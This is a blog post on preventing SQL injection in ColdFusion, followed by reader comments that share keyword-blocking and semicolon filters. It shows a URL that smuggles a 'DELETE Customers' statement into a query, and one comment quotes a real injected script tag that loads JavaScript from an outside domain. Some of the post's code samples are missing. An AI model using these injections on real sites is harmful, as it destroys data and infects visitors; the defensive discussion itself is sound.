I was just on a web site (no, not a ColdFusion powered site, and no I will not name names) browsing for specific content. The URLs used typical name=value query string conventions, and so I changed the value to jump to the page I wanted. And I made a typo and added a character to the numeric value. The result? An invalid SQL error message.
That’s bad. Very very bad. It means that I was able to create a SQL statement that was submitted to the database for processing, a SQL statement that was passed to the database as is, unchecked.
You’d think that by now we’d have learned to lock down our code so as to prevent SQL injection attacks, but apparently this is not the case. You do not know what a SQL injection attack is? Well, read on.
Consider the following simple dynamic ColdFusion query:
SELECT *
FROM Customers
WHERE CustID=#URL.custid#
Here a WHERE clause is being populated dynamically using a URL parameter. This type of code is common and popular, and is often used in data drill-down interfaces. If the URL was: http://domain/path/file.cfm?custid=100
the resulting SQL statement would be:
SELECT *
FROM Customers
WHERE CustID=100
But what if someone tampered with that URL so that it read:
http://domain/path/file.cfm?custid=100;DELETE+Customers
Now the resulting SQL would be:
SELECT *
FROM Customers
WHERE CustID=100;
DELETE Customers
And depending on the DBMS being used, you could end up executing two statements – first the SELECT, and then DELETE Customers (which would promptly delete all data from the Customers table).
Scared? You should be. SQL statements are not just used for queries. They are also used by most DBMSs to create and drop tables, create user logins, change passwords, set security levels, manage scheduled events, even creating and dropping entire databases. And whatever features are supported by your DBMS may be accessible this way.
Before I go further I must point out that this is not a ColdFusion vulnerability at all. In fact, it is not even a bug or a hole. This is truly a feature – many DBMS do indeed allow queries to contain more than a single operation, this is legal and by design.
Of course, you should always be checking parameters anyway before passing them to your DBMS. Passing client supplied data (URL parameters, FORM fields, and even cookies) through unchecked is programmatic suicide. Attacks aside, it is flat out unsafe to ever assume that data submitted by a client can be used as is.
As such, you should already be using code like this:
This single line of code will lock SQL injection attacks out. How? Think about it, SQL injection (within ColdFusion apps) is really only an issue with non textual fields. If a text value is tampered with you’ll end up with tampered text, but that text will all be part of the core string (within quotes) passed as a value, and will therefore not be executed as separate statements. Numbers, on the other hand, are not enclosed within quotes, and so extraneous text can be tampered with to create an additional SQL statement. And
Of course, you may want more control, in which case you could use code like this:
... throw an error or something ...
And as an additional line of defense you can use
SELECT *
FROM Customers
WHERE CustID=
If the previous tampered URL was passed to the this query, the value would be rejected and an error would be thrown. The CFSQLTYPE (aside from binding variables) performs data type validation checks, and values that do not match the type are rejected. That’s it, only integers allowed, and malicious tampered URL parameters are not integers.
The bottom line is that SQL injection attacks have been around for as long as dynamic SQL itself. ColdFusion has made it incredibly easy to protect yourself against such attacks. Be it
If you have not been paying attention to this risk, stop whatever you are doing, fire up your IDE, and do a search for every single
Enough said! (I hope).
(UPDATED 07/24/2008)
Since this post was made, SQL injection attacks have evolved, and it is now know that even strings are vulnerable. See the more current related posts linked below.
SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored
73 responses to “SQL Injection Attacks, Easy To Prevent, But Apparently Still Ignored”
-
Yeah, I prefer VAL tags over CFQUERYPARAMs. Seems like more of a hack, but it works. Has anyone read anything against using VAL tags vs. CFQUERYPARAMs?
Ray -
I would also recommend reading the blog entry that Ben just posted:
http://www.forta.com/blog/index.cfm/2008/7/23/Hacker-Webzine-Recommends-Use-Of-CFQUERYPARAM
Read the articles in the links as well.
Ray -
Hi, I recently also found sites with this code in them but I have a different question. I know about preventing this from a programming standpoint but what does this do for the users of the site?
Does anyone know what code is actually injected into the page and what would happen to an end user when the script runs?
I’ve noticed the 1.verynx.cn dns changes from 127.0.0.1 to other values for collecting data.
Any information would be nice 🙂
Thanks,
Frank -
Here’s My filter – only for GET though…
I make it find at least 2 occurrances to fail, to protect for possible false blockage.
Dropped in the top of application.cfm:
<cfset SQL_CMDs = ArrayNew(1)>
<cfset LoopHitCount=0>
<cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
<cfset SQL_CMDs=mystring.Split(",")>
<cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
<cfset paramname= SQL_CMDs[#CMD_Loop#]>
<cfset CheckVal = cgi.QUERY_STRING>
<CFSET st = FindNoCase(paramname,CheckVal,1)>
<cfif st gt 0 >
<cfoutput>Suspect Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
</cfloop>
<cfoutput>
<cfif LoopHitCount gt 2>
This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
<cfabort>
</cfif>
</cfoutput> -
oops… that cfset on checkval should probably be before the loop – oh well – what’s a little extra overhead…
-
Ok – Here’s a better one:
My Application.cfm GET/POST filter:
The post portion is untested. the GET is validated against actual vulgar requests from the logfile.
Catches 2+ occurrances of any black list item defined in mystring. for this – it is a list of most possible sql command words
<!— START filter for SQL Injection Attack —>
<cfset SQL_CMDs = ArrayNew(1)>
<cfset LoopHitCount=0>
<cfset mystring="declare,set,exec,select,grant,delete,insert,drop,alter,replace,truncate,update,create,rename,describe,from,into,table,view,union,cast,char">
<cfset SQL_CMDs=mystring.Split(",")>
<cfset CheckVal = cgi.QUERY_STRING>
<cfloop index="CMD_Loop" from="1" to="#ArrayLen(SQL_CMDs)#">
<cfset paramname= SQL_CMDs[#CMD_Loop#]>
<!— START filter for SQL Injection Attack via GET Variables—>
<CFSET st = FindNoCase(paramname,CheckVal,1)>
<cfif st gt 0 >
<cfoutput>Suspect GET Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
<!— END filter for SQL Injection Attack via GET Variables—>
<!— START filter for SQL Injection Attack via POST Variables—>
<cfif isdefined("form.fieldnames")>
<cfloop list="#form.fieldnames#" index="z">
<CFSET st = FindNoCase(paramname,evaluate(z),1)>
<cfif st gt 0 >
<cfoutput>Suspect POST Value: #paramname#<br /> </cfoutput>
<cfset LoopHitCount = LoopHitCount + 1>
</cfif>
</cfloop>
</cfif>
<!— END filter for SQL Injection Attack via POST Variables—>
</cfloop>
<cfoutput>
<cfif LoopHitCount gt 2>
This request is being blocked due to suspected Unauthorized Access.<br />#CheckVal#
<cfabort>
</cfif>
</cfoutput>
<!— END filter for SQL Injection Attack —> -
@Bill, the main issue I have with the check you’re doing is that you’re blocking legitimate words that could be in a text field. Especially a large text field like an article or memo. (Bush DECLARES new foreCAST. Sears DROPS Roebuck. And CAST of Rent CRE
-
sure – that’s true, but liklihood (especially on the site where this is running) of 2 or more of that list being submitted is remote and the site is far too large to afford the time with the server compromised to fix it. The benefit far exceeds the possibility of undesireable affect. It solves the problem and can catch future similar attacks and is easily modified to accommodate new threats (i.e. system based SP names)
As for escape characters, where in the attack request do you see escape characters?
For a more simple site, this is a perfectly useable, a very remote chance of rejecting the occaisional form submission, and a heck of a lot better than nothing. especially when there are literally thousands of cfm scripts that would need to be checked.
And finally, if its really a concern about blocking form submitted data, and stopping only this iteration of this kind of attack is acceptable, just remove the POST check, in all of the thousands of log entries I’ve seen of this attack, not one has used POST, and the stopping non offending requests is even more remote of a possibility. -
Also, since I already count multiple offenses before failing a request. With this particular attack, there are 5 offending words; the fail threshold could be raised, further lessening the chance of filtering out innocent submissions from a form. For that matter, one could separate out the form check with the higher fail threshold count. while leaving the GET request at 2, for maximum protection.
-
Just as an aside, <cfqueryparam> has additional performance benefits as well as protecting your data from SQL injection. By ensuring all your variables in SQL queries use cfqueryparam what you are really doing is telling CF to use bind variables in the SQL.
In Oracle, for example, this can have a big performance gain, as Oracle caches the execution path (not the results). Similar benefits would be possible in other databases that use bind variables. More info here http://www.adobe.com/devnet/server_archive/articles/cfqueryparam_oracle_databases.html or one of Ben’s articles here: http://www.adobe.com/devnet/coldfusion/articles/ben_forta_faster.html -
Bill, thank you very much for posting the code that can be put in the Application.cfm file to prevent SQL injections. I have been hit twice recently and am trying to tighten things up to prevent another one. A basic question: in the line <cfif isdefined("form.fieldnames")> is it necessary to enter the various fieldnames that are being used or is that taken care of?
Thanks again, -
How about using only stored procedures? Many CF developers simply do not use them and they have many benefits. MS SQL Server Management Studio Express uses a template to create at storedproc. Also requiring at the SQL server that a validated SA username and password be used for any INSERT,UPDATE, DROP, CREATE, or DELETE.
Lastly in applicationcfm or cfc using onRequest you could check cgi.QUERY_STRING for any illegal SQL commands and abort or redirect to cgi.http_referer -
David,
that POST check iterates through all form fields, if there are any. But, others have been concerned that this is too restrictive of a filter for long form submissions, thereby blocking too many possible valid POSTS. there are a couple ways to handle it – disable the post filter, as this attack does not seem to try to exploit via POST. or raise the fail threshold to gt 4 (don’t go higher than 4, this is the minimum to stop the current wave of attacks with this code) you could also take a few words out of the list (where, order, select) as those are common words and not really posing any threat as far as being damaging sql. -
Thank you very much Bill.
-
What I have seen is that alot of their crap comes in hex so looking for clear text may not always work. I had the following come through today:
Macromedia][SQLServer JDBC Driver][SQLServer]????????????????????????????]????? GARBAGE ??????©?????@???????@?????B???³??????G?????????¬?????G???????????Â
I put garbage in the middle to break it hear, but what the heck can you do about this with just checking field name.s -
I should add that it looks like it actually came through in unicode (chinese) since that is how it looks in the error emails I get.
-
Thank you very much for posting the code that can be put in the Application.cfm file to prevent SQL injections.
http://winsmart.atwiki.com/
http://shuntong.vipblog.hk/
http://geocities.atwiki.com/
http://weddingphoto.vipblog.hk/
http://dslrsreview.blogspot.com/
http://blog.sina.com.tw/winbill/
http://www.simpy.com/user/winbill
http://www.diigo.com/user/lullabot
http://profile.typekey.com/winbill/
http://www.simpy.com/user/mclinton
http://profile.typekey.com/nesthone/
http://www.geocities.com/cnlogistic/
http://profile.typekey.com/tshuntong/
http://hk.geocities.com/coffeematching/
http://hk.myblog.yahoo.com/ministoragehk/ -
I have added some new and improved code on my blog about SQL injection attacks which can be viewed here:
http://www.shareddynamics.com/index.cfm/2008/8/11/SQL-Injection-attacks -
Thanks to Ray Majoran and Bill Jones for the insight into the ";DECLARE" type of attack. I used the code supplied by Bill and it worked to defend my site. But I ended up with something simpler, because after logging the attacks for a while to a table for easy review, I noticed that they all depend on a semicolon as the first character to get recognized as a separate query. So I decided to just filter semicolons out of any CGI request. I left Bill’s script in place after the following, but nothing has fallen through to it so far; the semicolon interecpt has caught all attacks. This is in my Application.cfm file (which I didn’t have until these attacks started, and it became necessary to have one). (I also added email notification and logging to a database table to keep track of the attacks and make sure I wasn’t blocking valid requests).
<!—Semicolon Blocker—>
<CFSET rejectThis = ";">
<!—-Need to allow the following custom 404 redirection for our deprecated static pages—>
<CFSET keepThis = "404;http://">
<cfset CheckVal = cgi.QUERY_STRING>
<CFSET st = FindNoCase(rejectThis,CheckVal,1)>
<CFSET st2 = FindNoCase(KeepThis,CheckVal,1)>
<CFIF (st gt 0) AND (st2 NEQ 1)>
<CFABORT>
</CFIF>
<!—End Semicolon Blocker—> -
Great except the attacks I got were from China and not from Hong Kong (note to hackers I buy all my video games from Hong Kong – China can get stuffed)
-
What about if users put SQL markup in the text input area’s within a form that is going to end up in db insert
-
Can any one give me a bit advice. I just ran QueryParam Scanner (http://www.hybridchill.com/projects/qpscanner.html), awesome tool BTW, and it keeps alerting me to the queries where I am paging results (showing only 20 records at a time) by passing in an argument to determine which row to start at. I see why it is catching these, but my question is it insecure? When the query contains a where statement, I am using cfqueryparam religiously.
SELECT top 20 column1,column2,column3
FROM table
<cfif arguments.start NEQ 1>
AND column1 NOT IN (
SELECT TOP #arguments.start# column1
FROM table
ORDER BY column3 DESC)
</cfif>
ORDER BY column3 DESC
Thanks! -
I’m glad someone mentioned val(). I use this on almost everything. Quick and clean, nothing gets through val(), and you never wind up with null because #val(";inject_code")# = 0, which would just return no records and not an error. And still works with cached queries, I believe.
The latest script I’ve been hit with is this:
</title><script src=’http://google-server03.info/urchin.js’></script>
They discover what fields populate the title tag (if any) and replace the value with that string. Then, just for good measure, they blank out almost all DB field values with the word ‘name’ in it, including username, productname, etc. I am now changing many DB fieldnames to not include the word ‘name’ just for additional defense.
What gets me is why these people do it? Just for kicks? I know a couple of places I’d like to get some good swift kicks in.
Leave a Reply